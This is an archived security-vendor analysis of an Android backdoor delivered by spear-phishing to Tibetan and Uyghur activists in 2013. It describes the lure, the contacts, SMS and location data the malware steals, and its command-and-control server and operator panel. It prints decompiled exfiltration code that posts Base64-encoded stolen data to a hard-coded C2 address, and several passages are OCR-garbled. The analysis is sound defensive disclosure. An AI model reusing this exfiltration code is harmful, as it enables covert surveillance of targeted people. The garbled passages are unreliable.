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Android Trojan Found in Targeted Attack

By Kurt Baumgartner
Published: 2013-03-26 - Archived: 2026-04-05 21:55:36 UTC
In the past, we’ve seen targeted attacks against Tibetan and Uyghur activists on Windows and Mac OS X

platforms. We’ve documented several interesting attacks (A Gift for Dalai [.amas Birthday and Cyber Attacks
Against Uyghur Mac OS X Users Intensify) which used ZIP files as well as DOC, XLS and PDF documents

rigged with exploits.

Several days ago, the e-mail account of a high-profile Tibetan activist was hacked and used to send targeted
attacks to other activists and human rights advocates. Perhaps the most interesting part is that the attack e-mails

had an APK attachment — a malicious program for Android.

The attack

On March 24th, 2013, the e-mail account of a high-profile Tibetan activist was hacked and used to send spear

phishing e-mails to their contact list. This is what the spear phishing e-mail looked like:

File Edit Wew Go Message OpenPGP  Tools Help

&' WUC's Conference in Geneva - Mozilla Thunderbird =10l x|

2 cetmal - #write W chat B Address Book @ Tag - L Deaypt =

o I & At | iy | S Forrd| @ | @

-

Subject WUC's Conference in Geneva 326 PM

E-:-:I _ Other Actions -
22 March 2013 World Uyghur Congress

In what was an unprecedented coming-together of leading Uyghur,
Mongolian, Tibetan and Chinese activists, as well as other leading
international experts, we were greatly humbled by the great enthusiasm,
contribution and desire from all in attendance to make this occasion

something meaningful, the outcome of which produced some concrete, —

action-orientated solutions to our shared grievances.The attachment is
a letter on behalf of WUC,UNPO and STP.

@ 1 attachment: WUCs Conference.apk 219 KB "r Sa'u'el v|

B | (G)o (S)ave (Clopy

v
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In regards to the message text above, multiple activist groups have recently organized a human rights conference
event in Geneva. We’ve noticed an increase in the number of attacks using this event as a lure. Here’s another

example of such an attack hitting Windows users:

Subject: he Failure of Western Human Rights Policy: Fallacies and Misconceptions about China

| Message | B8] Chinese_Human_Rights_study_results1.xls (218 KB

Below is the full statement of Mr Kelsang (Gvaltsen, Special Fepresentative of His Holiness the
Dalai Lama to Europe, delivered for the World Uvghur Congress’ Conference on China’s =
leadership change in Geneva (11 — 13 March 2013).

The Failure of Western Human Rights Policy: Fallacies and Misconceptions about China

delivered for The World Uwghur Congress WUC on

Human Rights in China: Implications of New Leadership for East Turkestan, Tibet and

Southem Mongolia”

12 March 2013 — Geneva, Switzerland

Going back to the Android Package (APK) file was attached to the e-mail, this is pushing an Android application
named “WUC’s Conference.apk”.

This malicious APK is 334326 bytes file, MD5: 0b8806b38b52bebfe39ff585639e2ea? and is detected by
Kaspersky Lab products as “Backdoor.AndroidOS.Chuli.a”.

After the installation, an application named “Conference” appears on the desktop:

Page 2 of 12



https://securelist.com /android-trojan-found-in-targeted-attack-58 /35552 /

Alarm Clock  Browser Calculator Camera

Car Home!! Conference Contacts Custom
Locale

-

Dev Tools Email Gallery Messaging

b iy

C

Settings Spare Parts

(1)

If the victim launches this app, he will see text which “enlightens” the information about the upcoming event:
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WUC's Conference
in Geneva

On behalf of all at
the Word Uyghur
Congress (WUCQ),

the Unrepresented
Nations and Peoples
Organization (UNPO)
and the Society for
Threatened Peoples
(STP), Human

Rights in China:
Implications for
East Turkestan,
Tibet and

Southern Mongolia
In what was an
unprecedented

The full text reads follows. Notice notice the use of the mistaken “Word” instead of “World”:

“On behalf of all at the Word Uyghur Congress (WUC), the Unrepresented Nations and Peoples Organization
(UNPO) and the Society for Threatened Peoples (STP), Human Rights in China: Implications for East Turkestan,
Tibet and Southern Mongolia

In what was an unprecedented coming-together of leading Uyghur, Mongolian, Tibetan and Chinese activists, as
well as other leading international experts, we were greatly humbled by the great enthusiasm, contribution and
desire from all in attendance to make this occasion something meaningful, the outcome of which produced some
concrete, action-orientated solutions to our shared grievances. We are especially delighted about the platform and
programme of work established in the declaration of the conference, upon which we sincerely hope will be built a
strong and resolute working relationship on our shared goals for the future. With this in mind,we thoroughly look

forward to working with you on these matters.
Dolkun Isa

Chairman of the Executive Committee

Word Uyghur Congress”

While the victim reads this fake message, the malware secretly reports the infection to a command-and-control

server. After that, it begins to harvest information stored on the device. The stolen data includes:
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e Contacts (stored both on the phone and the SIM card).
e Call logs.

e SMS messages.

e Geo-location.

e Phone data (phone number, OS version, phone model, SDK version).

It is important to note that the data won’t be uploaded to C&C server automatically. The Trojan waits for incoming
SMS messages (the “alarmReceiver.class”) and checks whether these messages contain one of the following

commands: “sms”, “contact”, “location”, “other”. If one these commands is found, then the malware will encode

the stolen data with Base64 and upload it to the command and control server. The C2 URL is:
hxxp://64.78.161.133/*victims’s_cell_phone_number*/process.php

In addition to this, the malware also reports to another script, “hxxp://64.78.161.33/android.php”. First, it will get
the “nativenumber” variable from the “telmark” value of “AndroidManifest.xml”. This is hardcoded and equals
“phone”. Then, it will add the result of the public method localDate.getTime(), which simply gets the current date.

An example of the string which is sent to the command-and-control would be “phone 26.03.2013”.

It is interesting that the attackers used Java Base64 library developed by Sauron Software. This software is free

and distributed under LGPL license.

Also, command communications with the malware are parsed with a function named “chuli()” prior to POSTing
stolen data to the command-and-control server. It appears that the attackers are somewhat familiar with the

language and mountain-trekking culture of the targets — the meaning of “chuli” is “summit”:

public woid chuli()}

{

1f(1"" equalsi{=mn=) &é& reSendInfof"sms", Basefd encodei{sm=, "UTF-8")))
sms = "M

1f{1"" equal=s{contact) &b reSendInfof"contact”, Basetd . encode{contact, "UTF-8"1))
contact = "";

if{1"" equal=(location) &é& reSendInfol”location”. Ba=efd sncode(location, "TUTF-8"31)3
location = "";

if("" equals({other) || !reSendInfo{"cther", Basefi encode{octher, "UTF-2"311)
return:

T =1 ——

The command-and-control server and parameters can be easily seen in the decompiled source code:
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public woid onCreate ()
{
super.onCreate @7
this.hostname "http://64.78.161.133";
ComponentName 1Nl S BrrponentName (this, PhoneService.class);
try
{
this.nativenumber = getPackageManager() .getiervicelInfo(localComponentlame, 128) .metalata
if (this.nativenumber.equals ({"chone™))

{
SharedPreferences localSharedPreferences = getSharedPreferences ("numbker”™, 0);:
this.nativenumber = localSharedPreferences.getitring({"native™, "");:
if ("".equals (this.nativenumber))
{
Date localDate = new Date();
this.nativenumber = ("phone™ + localDate.getIime()):
localSharedPreferences.edit () .putString ("native”, this.nativenumber).commit():
!

}

send.urlstr = (this.hostname +Q"/andrcid.php™)
et R eContext () ) ;

Log.2("BzhT", fthis.nativenumber) ;

ag == true)

if (send.sendInfoc({"create”, this.nativenumber)ﬂ

{
IntentFilter locallntentFilter = new IntentFilter("com.google.sy3tem.receiver™);
localIntentFilter.setPriority (2147483647) ;
registerReceiyer(new sendBeceiver(), locallntentFilter):
send.urlstr = l{thi=s.hostname + "/data/" + this.nativenumber + "/process.php”):;
gervicelnit()

Command and control server interaction code

Throughout the code, the attackers log all important actions, which include various messages in Chinese. This was
probably done for debugging purposes, indicating the malware may be an early prototype version. Some actions

include (with rough translations):

Log.i("ERZrTRUN", "8 ER e B 17 | 1 ") - Timer RUN, Whole timer loop endl!l
Logi("RUNE ", "ERROR") - Run inside

Log.i("&2 77", this.nativenumber) - Launched

Logi("FHME ", "FIIFHMES » shEsendiEH 5515 | ") - Phone network conditions,
no cell phone network, or send module errorl

Log.i("#Bintent", "E#F 1 ETEIE(T, EXFBa0" -New intent | the main program is
running, and this does not start

Log.i("contact® %", this.contact) - contact retransmission

Log.i("sendInfo", "FI£5-FiE") - network blocked

Log.i("F I FI£215 T M2", localBundle getString("sms")) - received SMS
Log.i("#z Wr 2 1@ifl %", localBundle getString("contact")) - received contacts

Log.i("#E Bl & {§ 2", localBundle.getString("location")) - receiving the location
information
Log.i("# W ¥ record”, localBundle getString("other")) - received record
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The command-and-control server

The command-and-control server is located at IP 64.78.161.133. This IP is located in Los Angeles, U.S.A., at a

hosting company named “Emagine Concept Inc”.

IP Information forj64.78.161.133

IP Location: United States Loz Angeles Emagine Concept Inc.
ASN: AS31972 EMGINECONCEPT-01 - Emagine Concept, Inc. (registered

IP Address: 64.78.161.133 (] [7] [o]

Whois Server whois.arin.net
Reverse IP: 1 website uses thiz address. (examplefl dimdocumentsexchange.com)

Interestingly, there is a domain which used to point there, “DlmDocumentsExchange.com”. The domain was
registered on March 8th, 2013:

Registration Service Provided By: SHANGHAI MEICHENG TECHNOLOGY INFORMATION DEVELOPMENT
CO., LTD.

Domain Name: DLMDOCUMENTSEXCHANGE.COM
Registration Date: 08-Mar-2013

Expiration Date: 08-Mar-2014

Status:LOCKED

The domain registration data indicates the following owner:
Registrant Contact Details:

peng jia

peng jia (bdoufwke123010@gmail.com)
beijingshiahiidienquc.d

beijingshi

beijing,100000

CN

Tel. +86.01078456689

Fax. +86.01078456689

The command-and-control server is hosting an index page which also serves an APK file:
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cript”>

oyl Sy S

.78.161.133/Document.apk";

The referenced “Document.apk” is 333583 bytes in size, MD5: c4c4077e9449147d754afd972e247efc. It has the
same functionality as the one described above but contains different text. The new text (in Chinese, about relations
between China, Japan and the disputed “Senkaku Islands / Diaoyudao Islands / Diaoyutai Islands”) is shown to the

victims and reads as following:

REXTF . =EEH
T —REiEE
EmsEm=HET
LET. HIASE
THEES A SHE
» BIE T 2icEXR
THH*x®. EiEim
2. HFETRL.
THENEEEF
Blf « SFNEESRT,
WEHAETE SiElH
IR EREIR AR
» IEREfRE A EIR
£, HAmziE—1]
ISE

When opened in a browser, this is what the command-and-control index page looks like:
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=S
|r: Data Page I =+ l &
€& > @ S | {1 64.78.161.133 ¢ | |[ﬂv Startpage Pl A B d

‘

AN N

ARERERERNERERENENERERERERERERERERERNERERER

ESNENEAEAE  AERERNEATAERERNEATATENE.
23420938457ksdjflksdf,sdifkjsdlfkj;ewrtupx],mv.
asldfas.

The text on the top means “Title Title Title” in Chinese, while the other strings appear to be random characters

typed from the keyboard.

Interestingly, the command and control server includes a publicly accessible interface to work with the victims:
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HRINTEFERI BOF4 2725 : data/phone1364239013604 5 35/ [0]
LT B intentsim (T B IIEEER)

actic-n_:l

cate gory:l

data___
BALESS
LE P PR TR TR
#4URL_]
BiTERE |
R N2 e A ek 2 0 5 G e [
EFIZFIPIEE, AR E=AthEEEYIE
EEZFUlsim PR R FE pons (—# 5%
EEIZFIEAFTEHIE, FEsinw (—#RE)
EEZFI LERE IR, SEEGEITENFTE, LIFEERQQ, HiFs, MSNIFE{FERT

Some of the commands with rough translations:

T HoH I HIEFEY L2 R A D FEF - View or uninstall all Trojans already

installed in the phone

EEFIZFIFEE - BEIrEEHSEHMEIIE {573 - SMS will automatically update the list
view of the mobile phone SMS, new SM5S

T F1Z F N Fsimk P @iflgE FEEirs (—f#%3%) -To view the contacts on the phone
and sim card (you need to order a key)

EFZFV EAFRATE FERZo S (—#%1% ) -View the location of the phone (you
need to order a key)

EFEZFVI LERRFIAERE - HFEEFESSIE - LIEAEQQ, HiFs » MSNFRHAE
2 - View the software installed on the phone to facilitate custom software hijacking / tool fo
get software such as Q0Q, Email, MSN password

The command-and-control server is running Windows Server 2003 and has been configured for Chinese language:
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LTE, 64.78.161.133 - Remote Desktop Connection

E33l windows

'f Mcrosolt

' Windows Server2003
¥ Enterprise Edition

/

Copyright @ 18852003 Microsoff Corporation

SoiillEr | EI @) <<

This, together with the logs, is a strong indicator that the attackers are Chinese-speaking.
Conclusions

Every day, there are hundreds if not thousands of targeted attacks against Tibetan and Uyghur supporters. The vast
majority of these target Windows machines through Word documents exploiting known vulnerabilities such as
CVE-2012-0158, CVE-2010-3333 and CVE-2009-3129.

In this case, the attackers hacked a Tibetan activist’s account and used it to attack Uyghur activists. It indicates
perhaps an interesting trend which is exploiting the trust relationships between the two communities. This
technique reminds us of a combination between ages old war strategies “Divide et impera” and “By way of

deception™.

Until now, we haven’t seen targeted attacks against mobile phones, although we’ve seen indications that these

were in development.

The current attack took advantage of the compromise of a high-profile Tibetan activist. It is perhaps the first in a
new wave of targeted attacks aimed at Android users. So far, the attackers relied entirely on social engineering to
infect the targets. History has shown us that, in time, these attacks will use zero-day vulnerabilities, exploits or a

combination of techniques.

For now, the best protection is to avoid any APK attachments that arrive on mobile phones via e-mail.
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We detect the malware used in this attack as “Backdoor.AndroidOS.Chuli.a”.

MD5s:

c4c4077e9449147d754afd972e247efc Document.apk

0b8806b38b52bebfe39ff585639e2ea2 WUC’s Conference.apk

Source: https://securelist.com/android-trojan-found-in-targeted-attack-58/35552/
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